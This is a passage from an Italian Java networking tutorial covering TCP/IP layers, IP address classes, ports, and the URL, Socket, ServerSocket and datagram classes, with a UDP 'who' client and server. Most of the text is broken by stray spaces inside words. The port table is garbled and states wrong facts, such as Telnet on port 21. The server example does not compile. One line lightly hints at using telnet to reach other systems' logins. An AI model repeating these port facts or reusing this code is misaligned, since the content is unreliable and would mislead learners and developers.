pr ot ocol l o di t r asf er i ment o f i l es.
Quest o pr ot ocol l o puo esser e ut i l i zzat o da un
al t r o sof t war e per i l t r asf er i ment o di sof t war es
oppur e pu f unger e come pr ogr amma i ndi pendent e e
qui ndi esegui r e l a navi gazi one nel l e di r ect or i es
del si st ema a cui si e connessi , gest i r e i l
t r asf er i ment o f i l es ecc.
Vedr emo successi vament e l e f unzi oni i mpl ement at e nel l a l i br er i a sun. net . f t p
pr esent e i n J ava.
Ne pr ogr amma di esempi o ut i l i zzer emo anche l e cl assi di sun. net . smt p che sono
quel l e che gest i scono i l pr ot ocol l o che si i nt er essa del l a gest i one del l a post a
el et t r oni ca ( SMTP) .

STRATO HOST TO HOST (DoD)

Le f unzi oni di quest o l i vel l o sono par agonabi l i a quel l e del l o st r at o di
t r aspor t o del model l o OSI .
A quest o l i vel l o vengono gest i t i i l cont r ol l o di i nt egr i t a e del l a sequenza dei
pacchet t i t r asmessi .
I nf at t i e pr opr i o a quest o st r at o che i ncont r i amo i
pr ot ocol l i TCP e UDP.
I l pr ot ocol l o vi ene car i cat o come si t r at t asse di un
dr i ver sof t war e.


PROTOCOLLO TCP

I l pr ot ocol l o TCP ( Tr ansmi ssi on Cont r ol Pr ot ocol )
suddi vi de i n segment i i bl occhi di i nf or mazi oni gener at i
da un sof t war e, l i numer a, l i or di na i n modo da per met t er e
Pagina 446 di 991
i l r i assembl aggi o degl i st essi una vol t a gi unt i a dest i nazi one.
La t r asmi ssi one di quest i segment i e subor di nat a al l a r i cezi one di segnal i di
conf er ma at t i a segnal ar e l a cor r et t a r i cezi one degl i st essi .
TCP e def i ni t o come pr ot ocol l o or i ent at o al l a connessi one i n quant o pr i ma di
i nvi ar e i dat i cont at t a i l dest i nat ar i o per st abi l i r e l a connessi one cr eando un
ci r cui t o vi r t ual e.
La t r asmi ssi one dei dat i avvi ene, sommar i ament e, come avevamo vi st o
pr ecedent ement e ovver o par t i col ar i al gor i t mi si i nt er essano di ver i f i car e l a
cor r et t ezza dei pacchet t i di dat i per cui pr i ma di esegui r e un successi vo i nvi o
i l pr ot ocol l o r i chi ede conf er ma al dest i nat ar i o.
La comuni cazi one avvi ene i n f ul l dupl ex.

PROTOCOLLO UDP

Esi st ono al cune cl assi i n J ava che necessi t ano del l a conoscenza di un al t r o
pr ot ocol l o
I l pr ot ocol l o UDP ( User Dat agr amPr ot ocol ) e un pr ot ocol l o pi u l egger o che
vi ene ut i l i zzat o i n al t er nat i va a TCP.
UDP i nvi a i n modo i ndi pendent e dei pacchet t i di dat i , chi amat i dat agr ammi , da un
appl i cazi one ad un' al t r a senza gar ant i r ne l ar r i vo.
I n quest o caso l or di ne di i nvi o non e i mpor t ant e i n quant o ogni messaggi o e
i ndi pendent e uno dal l al t r o.
Esi st ono del l e appl i cazi oni i n cui i l r i cevi ment o dei pacchet t i non e
i mpor t ant e.
Pr endet e ad esempi o un si st ema che i nvi a i n cont i nuazi oni i nf or mazi oni sul l a
t emper at ur a r i l evat a i n una cer t a ci t t .
Se un si st ema che desi der a r i cever e t al i i nf or mazi oni si per de un pacchet t o non
e una cosa cosi cr i t i ca i n quant o pot r a at t ender e un al t r o i nvi o.
Ment r e TCP e basat o sul l a connessi one UDP ne e i ndi pendent e ed e f aci l e
compr ender l o da quant o det t o.

STRATO INTERNET

Quest o st r at o cor r i sponde a quel l o di r et e del model l o OSI .
I n quest o l i vel l o vengono gest i t i gl i i ndi r i zzi I P degl i host .
Una panor ami ca sui met odi di i ndi r i zzament o e di i nst r adament o ver r anno vi st i
t r a br eve.
Tr a i pr ot ocol l i di quest o st r at o r i t r ovi amo I P ( I nt er net Pr ot ocol ) , ARP
( Addr ess Resol ut i on Pr ot ocol ) , RARP ( Rever se Addr ess Resol ut i on Pr ot ocol ) ecc.

STRATO DI ACCESSO ALLA RETE

Anche a quest o l i vel l o del model l o DoD avvi ene una gest i one si mi l e a quel l a del
l i vel l o f i si co del OSI .
I n pr at i ca i pacchet t i vengono t r amut at i i n sequenze di bi t s.
I n quest o st r at o vi ene anche f or ni t a una super vi si one sugl i i ndi r i zzi har dwar e.
Le seguent i sono al cune del l e t ecnol ogi e ut i l i zzat e per i mpl ement ar e quest o
st r at o :

X25, PPP, EIA

INTRODUZIONE ALLA PROGRAMMAZIONE DI RETE

Fi no ad or a abbi amo vi st o al cuni concet t i l egat i al l a st r ut t ur azi one di una r et e
si a dal punt o di vi st a l ogi co che da quel l o f i si co.
Si e par l at o di segment i di r et e o sot t o r et i .
I nt er net possi amo qui ndi def i ni r l a come una r et e di r et i sul l a qual e esi st ono
si st emi host che possi edono al meno un i ndi r i zzo che l o i dent i f i ca i n modo
uni voco def i ni t o da quel l o che abbi amo vi st o come I P.
Quest o numer o I P e at t ual ment e un numer o a 32 bi t s cost i t ui t o da due par t i , una
r el at i vo al l a r et e ed una r el at i va al l host .
La pr i ma par t e del l I P, i nf at t i , def i ni sce l a r et e sul l a qual e r i si ede l host .
Pagina 447 di 991
Ogni macchi na appar t enent e ad una r et e condi vi de con l e al t r e macchi ne l a pr i ma
par t e del l i ndi r i zzo I P.
Esi st e un or gano compet ent e, i l NI C ( Net wor k I nf or mat i on Cent er ) , i l qual e
assegna a un azi enda un bl occo di i ndi r i zzi I P.
Per ot t ener e un numer o di i dent i f i cazi one r el at i vo al l a pr opr i a r et e bi sogna
cont at t ar e i l NI C a host mast er @i nt er ni c. net .
Come abbi amo gi a det t o un i ndi r i zzo I P e cost i t ui t o da un numer o a 32 bi t s i l
qual e sar ebbe mol t o compl esso da t ener e pr esent e se espr esso nel l a sua not azi one
bi nar i a or i gi nal e.
I mmagi nat evi un i ndi r i zzo del t i po : 0110 0110101101000110 011010110100.
Per sempl i f i car e l a r appr esent azi one del l i ndi r i zzo e st at a i nt r odot t a una
r appr esent azi one a quat er ne nel l a qual e un i ndi r i zzo I P vi ene r appr esent at o
nel l a f or ma x. y. z. j nel l a qual e ogni l et t er a e r appr esent at a da un numer o
compr eso t r a 0 e 255.
Per esempi o un i ndi r i zzo di un si st ema host pot r ebbe esser e 198. 102. 96. 12.
Ci ascun numer o r appr esent a un quar t et t o ovver o 8 bi t s di un i ndi r i zzo I nt er net .
Nel l esempi o pr ecedent e i pr i mi due numer i pot r ebber o esser e l i ndi r i zzo del l a
r et e ment r e gl i al t r i due l i ndi r i zzo del l a macchi na su quest a.
Come di cevamo pr i ma i l NI C assegna gl i i ndi r i zzi I P.
I n base al l a gr andezza del l a soci et a gl i vi ene assegnat a una r et e di cl asse
di f f er ent e.
I n base al numer o dei segment i che cost i t ui scono l a r et e ed al numer o dei nodi
esi st ono t r e cl assi di r et i e pr eci sament e :

CLASSE FORMATO NUM. MAX RETI NUM. MAX NODI

CLASSE A Rete.Nodo.Nodo.Nodo 127 16.777.216
CLASSE B Rete.Rete.Nodo.Nodo 16.384 65.534
CLASSE C Rete.Rete.Rete.Nodo 2.097.152 254

Nel caso di una r et e di cl asse A i pr i mi ot t o bi t s, quel l i assegnat i ,
cor r i spondent i al numer o del segment o di r et e possono assumer e val or i compr esi
t r a 0 e 126 ( vedr emo che gl i al t r i vengono ut i l i zzat i per mot i vi par t i col ar i )
per cui e possi bi l e i mpl ement ar e 127 r et i di cl asse A.

Le soci et a con r et i appar t enent i a quest a cl asse sono I BM, HP, APPLE ecc.
( consi der at e che ce ne sono sol o 127 i ndi r i zzi di cl asse A) .

Mi cr osof t sono i nvece esempi di i ndi r i zzi di r et i di cl asse B.

Gl i i ndi r i zzi di cl asse C possi edono i nvece l e pr i me t r e quar t i ne assegnat e dal
NI C.
Di f at t o esi st e anche una cl asse D i cui i ndi r i zzi sono ut i l i zzat i per i l
mul t i cast .
Nel J DK 1. 1 l a Sun ha i nser i t o l a cl asse Mul t i cast nel package
j ava. net . Mul t i cast f acendol a di scender e dal l a cl asse Dat agr am.
Un i ndi r i zzo mul t i cast e un i nt er val l o compr eso t r a 224. 0. 0. 0 e
239. 255. 255. 255.
La t r asmi ssi one mul t i cast si basa sul l i dent i f i cazi one di t ut t i i r out er di una
r et e ed e f i nal i zzat a ad i nvi ar e i dat i ver so pi u dest i nazi oni .
I n pr at i ca i n J ava e possi bi l e ut i l i zzar e l a cl asse che gest i sce i l mul t i cast
sol o su di una r et e l ocal e.
Esi st ono al cuni i ndi r i zzi che possi edono scopi par t i col ar i come ad esempi o :

127.0.0.1 Funzione di circuito chiuso in cui ogni messaggio viene rispedito al
mittente.
x.y.z.255 Valore di broadcast che viene utilizzato per inviare un pacchetto a
tutti i sistemi di una sotto rete.
x.y.z.1 E l indirizzo del router di una sotto rete.

Tut t o quest o vi st o f i no ad or a e quant o r i guar da l a st r ut t ur azi one di una r et e.
Esi st ono al cuni concet t i che i nvece r i guar dano l ut ent e ( cl i ent ) che accede ad
un host per navi gar e sul l a r et e.
Pagina 448 di 991
I nf at t i i l t er mi ne Socket espr i me un t er mi nal e di comuni cazi one ovver o uno dei
due est r emi di una connessi one.
A quest o r i guar do bi sogna ancor a
dar e un occhi at a al concet t o di
por t a.
Nor mal ment e un comput er di spone di
un sol o accesso f i si co sul l a r et e.
Tut t i i dat i dest i nat i ad un si st ema
ar r i vano medi ant e quest a
connessi one.
I n ogni caso i dat i pot r ebber o
esser e dest i nat i a di ver se
appl i cazi oni i n esecuzi one sul
si st ema.
Come puo i l comput er capi r e a qual e appl i cazi one e dest i nat o i l pacchet t o di
dat i r i cevut o.
Sempl i ce. Tr ami t e i l concet t o di por t a !
I dat i t r asmessi su I nt er net sono i dent i f i cat i , come abbi amo gi a vi st o, dal l
i ndi r i zzo a 32 bi t s che i dent i f i ca i l si st ema dest i nat ar i o e dal numer o di
por t a.

I l numer o di por t a e cost i t ui t o da un numer o a 16 bi t s che i pr ot ocol l i TCP e
UDP ut i l i zzano per i dent i f i car e l appl i cazi one al l a qual e sono dest i nat i i dat i
i nvi at i .
I n una connessi one i l pr ot ocol l o cr ea un Socket col l egat o ad un numer o speci f i co
di por t a.
Al cuni numer i di por t a hanno degl i scopi pr edef i ni t i come ad esempi o :

Porta Servizio

7 Echo
13 Daytime
Ftp
21 Telnet
Smtp
79 Finger
80 Http
110 Pop3


Ad esempi o se si cr easse un Socket ut i l i zzando l a por t a 25 e si i nvi asser o dei
dat i t r ami t e uno st r eamcr eat o su quest o socket quest i ver r ebber o ut i l i zzat i dal
demone per l i nvi o del l a post a.
I nf at t i andando ad anal i zzar e i sor gent i del l a cl asse sun. net . smt p, come vedr emo
successi vament e, ci accor ger emmo che l a gest i one del l i nvi o del l a mai l vi ene
appunt o gest i t a i n quest o modo.
Un po del t i po :

Socket sock = new Socket ( www. ber nar dot t i . al . i t , 25) ;
Pr i nt St r eamout St r eam= new Pr i nt St r eam( sock. get Out put St r eam( ) ) ;

I n j ava. net r i t r ovi amo un i nsi eme di cl assi ut i l i zzat e dal TCP come ad esempi o
l a cl asse URL, l a cl asse URLConnect i on, l a cl asse Socket e l a cl asse
Ser ver Socket .
Al t r e cl assi come ad esempi o l a cl asse Dat agr amPacket , l a cl asse Dat agr amSocket
e quel l a Mul t i cast Socket sono ut i l i zzat e dal pr ot ocol l o UDP.
L ut i l i zzo dei socket per met t e di cr ear e sof t war e l egat i ai pr ocessi di r et e per
cr ear e si st emi aut omat i zzat i per cer car e di acceder e a si st emi r emot i .
Nel l a t abel l a pr ecedent e pot et e veder e che l a cr eazi one di un socket agganci at o
al l a por t a 21 per met t e di ut i l i zzar e l o st r eam abbi nat o a quest a per f unzi oni
Tel net .
Pagina 449 di 991
Gr azi e a t el net pot et e acceder e al l e var i e l ogi n dei si st emi per cui chi pi
ne ha pi ne met t a !

LA CLASSE URL

Una del l e cl assi f ondament al i , che abbi amo vi st o nel modul o pr ecedent e, e l a
cl asse URL.
La cl asse URL r appr esent a un punt at or e ad una r i sor sa pr esent e su un WEB l a
qual e vi ene r eper i t a ut i l i zzando l Uni f or mResour ce Locat or .
Una r i sor sa pot r ebbe esser e un nor mal i ssi mo f i l e o di r ect or y od un ogget t o pi u
compl esso come ad esempi o un i nt er r ogazi one su un dat abase.
Un URL nor mal ment e vi ene suddi vi so i n due par t i

HTTP: / / www. ber nar dot t i . al . i t
Protocollo Risorsa

La pr i ma par t e speci f i ca i l pr ot ocol l o ment r e l a seconda l a r i sor sa.
Esi st ono di ver si cost r ut t or i medi ant e i qual i e possi bi l e cr ear e una r i sor sa
URL.
I l pi u sempl i ce e i l seguent e :

URL sunSof t = new URL( ht t p: / / www. j avasof t . com/ ) ;

Esi st ono al t r i cost r ut t or i che per met t ono di speci f i car e l e r i sor se i n modo
di f f er ent e, ut i l i zzando anche i l numer o di por t a se necessar i o.
Ad esempi o :

URL sunSof t = new URL( ht t p, www. j avasof t . com, / i ndex. ht ml ) ;

e equi val ent e a

URL sunSof t = new URL( ht t p: / / www. j avasof t . com/ i ndex. ht ml ) ;

Ogni cost r ut t or e URL puo gener ar e un eccezi one l egat a al pr ot ocol l o er r at o o
al l a r i sor sa sconosci ut a.
L eccezi one puo esser e i nt er cet t at a con i l seguent e cost r ut t o :

t r y {
URL sunSof t = new URL( ht t p: / / www. j avasof t . com/ ) ;
} cat ch( Mal f or medURLExcept i on e) { handl er al l eccezi one }

La cl asse URL cont i ene i nol t r e di ver si met odi dest i nat i a r i cever e i nf or mazi oni
l egat e al l a URL st essa.
Fat e at t enzi one che non e det t o che t ut t e l e i nf or mazi oni debbano esser e
pr esent i .
Vedi amo i seguent i met odi :
get Pr ot ocol ( ) Ri t or na i l pr ot ocol l o
get Host ( ) Ri t or na i l nome del l host
get Por t ( ) Ri t or na i l numer o del l a por t a o 1 se non e st at a speci f i cat a
dur ant e l a cr eazi one
get Fi l e( ) Ri t or na i l nome del f i l e

Al cune vol t e dopo che e st at a cr eat a un URL e possi bi l e ut i l i zzar e i l
met odo openConnect i on( ) per cr ear e un col l egament o t r a i l pr ogr amma J ava e
l URL st esso.
Pagina 450 di 991
Per esempi o e possi bi l e cr ear e una connessi one con un si t o, Al t avi st a ad
esempi o, medi ant e i l codi ce :
t r y {
URL ur l Tmp = new URL( " ht t p: / / www. al t avi st a. di gi t al . com/ " ) ;
URLConnect i on ur l Con = ur l Tmp. openConnect i on( ) ;
}
cat ch ( Mal f or medURLExcept i on e) {}
cat ch ( I OExcept i on e) {}

Se l a connessi one ha avut o successo quest a pot r a esser e ut i l i zzat a per
f unzi oni di l et t ur a e di scr i t t ur a.
Mol t e f unzi oni l egat e al r eper i ment o di i mmagi ni , suoni , f i l es ecc.
necessi t ano del l URL.
Ad esempi o :

publ i c I mage get I mage( URL ur l )
publ i c I mage get I mage( URL ur l , St r i ng name)

I seguent i met odi most r ano al cuni esempi pr at i ci .

I mage i mage1 = get I mage( get CodeBase( ) , " i mageFi l e. gi f " ) ;
I mage i mage2 = get I mage( get Document Base( ) , " anI mageFi l e. j peg" ) ;
I mage i mage3 = get I mage( new URL( " ht t p: / / j ava. sun. com/ gr aphi cs/ peopl e. gi f " ) ) ;

Esi st ono due met odi del l a cl asse Appl et , ut i l i zzat i mol t i ssi me vol t e, che
per met t ono di r i cavar e, i n or di ne :

1. L URL del l a pagi na che chi ama l appl et
2. L URL del l appl et

Le f unzi oni sono i n or di ne :

Appl et . get Document Base( )
Appl et . get CodeBase( )

Come abbi amo appena vi st o i due met odi sono st at i ut i l i zzat i nel punt o i n cui
er a necessar i o f or ni r e come ar goment i l URL del l host da cui er a st at o car i cat o
l appl et .

LA CLASSE URLConnection

Quest a cl asse cont i ene mol t i met odi ut i l i quando si l avor a con URL HTTP.
Fat e at t enzi one che si t r at t a di una cl asse ast r at t a e qui ndi non puo
esser e i st anzi at a di r et t ament e.
I nvece di ut i l i zzar e un cost r ut t or e vedr emo come puo esser e ut i l i zzat o i l
met odo openConnect i on( ) del l a cl asse URL
La seguent e f unzi one most r a come esegui r e l a l et t ur a sf r ut t ando l a cl asse
URLConnect i on.
Esempi o :

i mpor t j ava. net . *;
i mpor t j ava. i o. *;

public class URLConnReadr {
public static void main(String[] args) throws Exception {
URL tmpUrl = new URL("http://www.altavista.digital.com/");
URLConnection URLConn = tmpUrl.openConnection();
BufferedReader in = new BufferedReader( new
InputStreamReader(URLConn.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
System.out.println(inputLine);
Pagina 451 di 991
in.close();
}
}

Nel l a cl asse URLConnect i on esi st ono un gr osso numer o di met odi e
var i abi l i .
Due di quest e var i abi l i e due met odi che set t ano quest e var i abi l i sono
degni di not a i n quant o per met t ono di esegui r e f unzi oni di i nput e di
out put sul l a connessi one cr eat a.
I n pr at i ca l e var i abi l i sono :

doOut put
doI nput

A seconda del val or e che vi ene set t at o ( t r ue/ f al se) si i ndi ca che l
appl et vuol e esegui r e, i n or di ne, del l out put e del l i nput sul l a
URLConnect i on.
Quest e var i abi l i possono esser e set t at e dai met odi :

voi d set DoOut put ( bool ean)
voi d set DoI nput ( bool ean)

Al t r i due met odi , uno vi st o nel codi ce i n al t o, per met t ono di r i cavar e
r i spet t i vament e un st r eamdi out put ed uno di i nput dal l URLConnect i on.
I due met odi sono :

Out put St r eamget Out put St r eam( )
I nput St r eamget I nput St r eam( )


LA CLASSE InetAddress

Esi st ono al cune cl assi che spesso r i sul t ano esser e ut i l i come ad esempi o
l a I net Addr ess l a qual e per met t e di cr ear e e r egi st r ar e degl i i ndi r i zzi
ut i l i zzat i da al t r e cl assi .
Quest ul t i ma cl asse di f at t o non possi ede cost r ut t or i pubbl i ci ma i n
compenso di spone di di ver si met odi st at i ci che possono esser e ut i l i zzat i
per cr ear e del l e i st anze del l a cl asse.
Tut t i i met odi sono st at i ci e devono esser e ut i l i zzat i nel seguent e modo.

I net Addr ess addr = I net Addr ess. get ByName( www. j avasof t . com) ;
I net Addr ess addr = I net Addr ess. get Local Host ( ) ;
I net Addr ess addr [ ] = I net Addr ess. get Al l ByName( www. j avasof t . com) ;

Le pr ecedent i f unzi oni gener ano un UnknownHost Except i on se i l si st ema non
e col l egat o a un DNS.
Per DNS si i nt ende Domai n Name Ser ver .
I n al t r e par ol e i l TCP/ I P per met t e di f ar r i f er i ment o agl i host di una
r et e medi ant e apposi t i nomi i nvece di usar e l i ndi r i zzo I P.
I n pr at i ca i l DNS e i l met odo che ci per met t e di r i f er i r ci ad un si st ema
quel l o che nor mal ment e cost i t ui t o dal nomeHost . nomeDomi ni o ( i var i
www. j avasof t . com, www. ber nar dot t i . al . i t ecc. )
I nol t r e l a cl asse I net Addr ess i ncl ude numer ose var i abi l i e f unzi oni per
memor i zzar e i ndi r i zzi host I nt er net .

publ i c St r i ng host Name Quest a var i abi l e cont i ene i l nome del l
host nel l a f or ma www. xx. yy
publ i c i nt addr ess L i ndi r i zzo numer i co del l host ( x. y. z. j )
publ i c St r i ng l ocal Host Name Cont i ene i l nome del l host l ocal e ovver o
quel l o del comput er su cui vi ene esegui t a l
appl i cazi one.

Pagina 452 di 991
Dopo quest a panor ami ca sul l a cl asse URL ut i l i zzat a nel l a pr i ma par t e del
pr ogr amma vedi amo una seconda par t e ovver o quel l a che si i nt er essa del l
i nvi o di messaggi al l host .
La cl asse e suddi vi sa i n due par t i .
La pr i ma cr ea l a mascher a vi deo i n cui vi ene r i chi est o di i nser i r e l
emai l del mi t t ent e e i l t est o del messaggi o.
I l ser ver mai l ut i l i zzat o per l i nvi o vi ene speci f i cat o nei par amet r i
del l a pagi na HTML medi ant e l a voce

<par amname=mai l host val ue=www. ber nar dot t i . al . i t >

La seconda par t e e quel l a i nvece che si i nt er essa del l a cr eazi one del
messaggi o e del suo i nvi o.
Come abbi amo gi a det t o esi st e una por t a speci f i ca, l a 25 , che per met t e
di comuni car e con i l demone mai l pr esent e sul ser ver .
Quest o non si gni f i ca che, dopo aver aper t o un Socket su quel l a por t a,
t ut t o ci o che ver r a scr i t t o ver r a i nvi at o come mai l .
I dat i scr i t t i su t al e socket dovr anno esser e f or mat t at i i n un det er mi nat o
modo per esser e consi der at i un messaggi o val i do e qui ndi per esser e
smi st at o.
Le i nf or mazi oni dovr ebber o aver e l a seguent e f or mat t azi one :

HELO host mi t t ent e
MAI L FROM: mi t t ent e
RCPT TO: r i cevent e
DATA
Messaggi o ( qual si asi numer o l i nee)
.
QUI T

Esi st e una cl asse i n sun. net . smt p che per met t e l a gest i one del messaggi o.
Nel nost r o modul o r i scr i ver emo compl et ament e l a par t e che si i nt er essa
del l a cr eazi one e del l i nvi o del messaggi o i n modo t al e da veder e i n
f unzi one al cune cl assi l egat e al l a gest i one del l a r et e.

LA CLASSE Socket

Nel l a par t e che si i nt er essava del l i nvi o del messaggi o c er a l a seguent e
par t e di codi ce :

sock = new Socket ( host i d, por t ) ;
r epl y = new Dat aI nput St r eam( sock. get I nput St r eam( ) ) ;
send = new Pr i nt St r eam( sock. get Out put St r eam( ) ) ;

Un socket puo esser e consi der at o come i l punt o di connessi one a due vi e
esi st ent e t r a due pr ogr ammi che gi r ano i n r et e.
I n al t r e par ol e un socket e l a r appr esent azi one i n J ava di una
connessi one TCP.
I n pr at i ca quando si vuol e esegui r e un col l egament o ad un si st ema i n r et e
si conosce l i ndi r i zzo di quest o.
Medi ant e i l numer o di por t a e possi bi l e r i chi eder e l a connessi one ad un
sof t war e speci f i co che gi r a su quest a macchi na.
Nel nost r o caso abbi amo ut i l i zzat o i l socket aper t o ut i l i zzando i l nome
del ser ver mai l e l a por t a 25 ( quel l a del demone mai l ) per apr i r e uno
st r eam di out put sul qual e scr i ver e i dat i r el at i vi al messaggi o da
i nvi ar e.
Come e possi bi l e veder e anche dal l e due r i ghe di codi ce appena r i por t at e
l a f ase di scr i t t ur a si suddi vi de i n due f asi :

1 aper t ur a del socket sul host + numer o di por t a
2 aper t ur a i n scr i t t ur a di uno st r eam

Come avr et e vi st o gl i st r eamaper t i sono di f at t o due.
Pagina 453 di 991
Uno per scr i ver ci i dat i del messaggi o e l al t r o per l egger e l e r epl i che
del demone mai l .
E possi bi l e ut i l i zzar e l a cl asse socket per l a cr eazi one di sof t war e
cl i ent / ser ver .
Supponi amo che sul ser ver gi r i un pr ogr amma r el at i vo ad un gi oco che apr e
un socket su una f at i di ca por t a 2222.
Qual si asi cl i ent pot r a comuni car e con t el e sof t war e apr endo anch esso un
socket ut i l i zzando i l nome del l host e i l numer o di por t a 2222.
I l sof t war e sul sever www. aqui l ot t o. comavr a l a f or ma :

Socket sock = new Socket ( 2222) ;

Sul cl i ent i nvece si avr a :

Socket sock = new Socket ( www. aqui l ot t o. com, 2222) ;

Chi ar ament e quest o e i l concet t o di base i n quant o nel caso di una
gest i one r eal e mul t i ut ent e si dovr ebbe esegui r e un i mpl ement azi one t r ami t e
t hr ead.

LA CLASSE ServerSocket

Quest a cl asse r appr esent a un connessi one TCP i n at t esa di r i cezi one.
Non appena vi ene r i cevut a una r i chi est a di connessi one l a cl asse
Ser ver Socket r est i t ui sce un ogget t o Socket .
Ad esempi o :

Ser ver Socket ser vSock = new Ser ver Socket ( 5555) ;

def i ni sce un ser ver che moni t or i zza l a por t a 5555.

Socket i ncomi ng = ser vSock. accept ( ) ;

chi ede di at t ender e f i no a che un cl i ent non si connet t er a al l a por t a
5555.

A quel punt o i l met odo accept r i t or ner a r est i t uendo un socket che pot r a
esser e ut i l i zzat o per l a comuni cazi one con i l cl i ent .
Vedi amo or a un al t r a par t e del codi ce che r i sul t er a i nt er essant e per i l
f at t o che most r a l ut i l i zzo di r i sor se URL r el at i ve ai maggi or i mot or i di
r i cer ca.
Nor mal ment e per f ar e r i cer che e necessar i o connet t er si ad un det er mi nat o
mot or e di r i cer ca.
La seguent e par t e di codi ce most r a una mascher a i n cui vi ene r i chi est o di
i nser i r e i dat i da r i cer car e e i l mot or e su cui esegui r e l a r i cer ca.
Una del l e mi gl i or i e appor t at e nel l a ver si one 1. 1 del J DK e che l a cl asse
Ser ver Socket e l a cl asseSocket non sono pi u def i ni t e come f i nal per cui
possono esser e est ese.
I l seguent e esempi o most r a una possi bi l i t a f or ni t a con l a ver si one 1. 1.


cl ass SSLSer ver Socket ext ends Ser ver Socket {
. . .
publ i c Socket accept ( ) t hr ows I OExcept i on
{
SSLSocket s = new SSLSocket ( cer t Chai n, pr i vat eKey) ;
/ / cr eat e an unconnect ed cl i ent SSLSocket , t hat we' l l
/ / r et ur n f r omaccept

i mpl Accept ( s) ;
s. handshake ( ) ;
r et ur n s;
}
Pagina 454 di 991
. . .
}

cl ass SSLSocket ext ends j ava. net . Socket {
. . .
publ i c SSLSocket ( Cer t Chai n c, Pr i vat eKey k) {
super ( ) ;
. . .
}
. . .
}



GESTIONE ECCEZIONI

Nel l e ar goment azi oni vi st e pr ecedent ement e abbi amo ut i l i zzat o l
i nt er cet t azi one del l e eccezi oni che pot evano esser e gener at e dal l
ut i l i zzo del l e var i e cl assi .
Vedi amo or a di appr of ondi r e i l di scor so i n quant o l ar goment o r i copr e un
r uol o mol t o i mpor t ant e.
Avevamo accennat o, par l ando del l e URL, ad un eccezi one che veni va gener at o
nel caso i n cui si ver i f i cava l i mpossi bi l i t a di acceder e, per pr obl emi
di er r at a def i ni zi one del f or mat o, ad una r i sor sa.
L eccezi one i n quest i one er a l a Mal f or medURLExcept i on.
Nei package i n cui sono pr esent i l e cl assi vi st e sono def i ni t e al t r e
eccezi oni che ci r i sul t ano ut i l i per l i dent i f i cazi one degl i
i nconveni ent i l egat i al l uso di quest i packages.
Vedi amone un el enco con a f i anco i si gni f i cat i :

ECCEZIONE CAUSA

Bi ndExcept i on Dovut o al l i mpossi bi l i t a ( por t a gi a i n
uso) di col l egar e i l socket
Connect Except i on Ri f i ut o del l a connessi one da par t e del
socket r emot o
Mal f or medURLExcept i on I nt er pr et azi one er r at a del URL
NoRout eToHost Except i on Bl occo da par t e di un f i r ewal l .
I mpossi bi l i t a di r aggi unger e l host .
Pr ot ocol Except i on Er r or e nel pr ot ocol l o del socket
Socket Except i on Eccezi one del socket
UnknownHost Except i on Er r or e di r i sol uzi one del nome host .
UnknownSer vi ceExcept i on La connessi one non suppor t a i l ser vi zi o

Nel package sun. net i nvece r i t r ovi amo l e seguent i eccezi oni

ECCEZIONE CAUSA

Tel Net Pr ot ocol Except i on Er r or e del pr ot ocol l o t el net
Smt pPr ot ocol Except i on Er r or e nel pr ot ocol l o smt p
Ft pLogi nExcept i on Er r or e accedendo al ser ver FTP
Ft pPr ot ocol Except i on Er r or e del pr ot ocol l o FTP
Nnt pPr ot ocol Except i on Er r or e del pr ot ocol l o Nnt p

I ni zi al ment e, quando par l avamo del l a st r ut t ur a del l a r et e, avevamo vi st o
l a def i ni zi one del pr ot ocol l o UDP e avevamo anche det t o che esi st eva una
ser i e di cl assi che er ano apposi t e per t al e pr ot ocol l o.
Si t r at t ava del l e cl assi per i dat agr ammi .

LA CLASSE DATAGRAMMA

Pagina 455 di 991
I ni zi al ment e avevamo det t o che i dat agr ammi vengono ut i l i zzat i per i nvi ar e
i n modo i ndi pendent e dei pacchet t i di dat i da un appl i cazi one ad un' al t r a
senza gar ant i r ne l ar r i vo.
I pacchet t i di dat i i nvi at i t r ami t e dat agr ammi i n gener e sono
i ndi pendent i .
Per f ar e un esempi o pr at i co vedi amo due modul i , uno per i l ser ver e uno
per i l cl i ent , che per met t ono di i nvi ar e l e i nf or mazi oni degl i ut ent i
col l egat i ad un si st ema Uni x.
Supponi amo che esi st a un pr ogr amma che a t empi r egol ar i esegua un who
( i st r uzi one Uni x per veder e l el enco degl i ut ent i col l egat i al si st ema) e
che scr i va i dat i i n un f i l e denomi nat o user s. t xt .
I l pr ogr amma ser ver dovr a at t ender e una r i chi est a di i nvi o di un
dat agr amma da par t e di un sof t war e cl i ent e dovr a i nvi ar e i l cont enut o
del f i l e.

import java.io.*;
import java.net.*;
import java.util.*;

public class whoClient {
public static void main(String[] args) throws IOException {
if (args.length != 1) {
System.out.println("Usage: java whoClient <hostname>");
return;
}
// Crea il datagramma
DatagramSocket socket = new DatagramSocket();
byte[] buffer = new byte[512];
InetAddress address = InetAddress.getByName(args[0]);
// Invia la richiesta
DatagramPacket packet = new DatagramPacket(buffer, buffer.length, address,
5225);
socket.send(packet);
// Prende la risposta
packet = new DatagramPacket(buffer, buffer.length);
socket.receive(packet);
// Lo visualizza i dati ricevuti
String received = new String(packet.getData(), 0);
System.out.println("User(s) connected: " + received);
socket.close();
}
}

Vedi amo or a i l sof t war e del ser ver .

import java.io.*;
import java.net.*;
import java.util.*;

public class whoServerThread extends Thread {
protected DatagramSocket socket = null;
protected BufferedReader in = null;
protected boolean flag = true;

public whoServerThread() throws IOException {
this("WhoServerThread");
}

public whoServerThread(String name) throws IOException {
super(name);
socket = new DatagramSocket(5225);
try {
Pagina 456 di 991
in = new BufferedReader(new
FileReader("users.txt"));
} catch (FileNotFoundException e) {
System.err.println("Could not open who file. ");
}
}
public void run() {
byte[] buf = new byte[256];
String returnValue;
while (returnValue = in.readLine()) != null) {
try {
// Riceve la richiesta
DatagramPacket packet = new DatagramPacket(buf,
buf.length);
socket.receive(packet);
buff = returnValue.getBytes();
// send the response to the client at "address" and
"port"
InetAddress address = packet.getAddress();
int port = packet.getPort();
packet = new DatagramPacket(buf, buf.length,
address, port);
socket.send(packet);
} catch (IOException e) {
e.printStackTrace();
}
}
socket.close();
in.close();
}
}

Con l a ver si one 1. 2 del J DK i packages l egat i al l a gest i one del l a r et e
sono ul t er i or ment e aument at i f acendo di vent ar e i l numer o dei met odi a
di sposi zi one una cosa enor me.
Ver ament e un i nf i ni t a di met odi suf f i cent i a per der si dent r o.
A peggi or ar e l a si t uazi one ci sono anche l e cl assi cr eat e da pr ogr ammat or i
e sof t war e house che i nvadono i l mer cat o si a shar ewar e che commer ci al e.
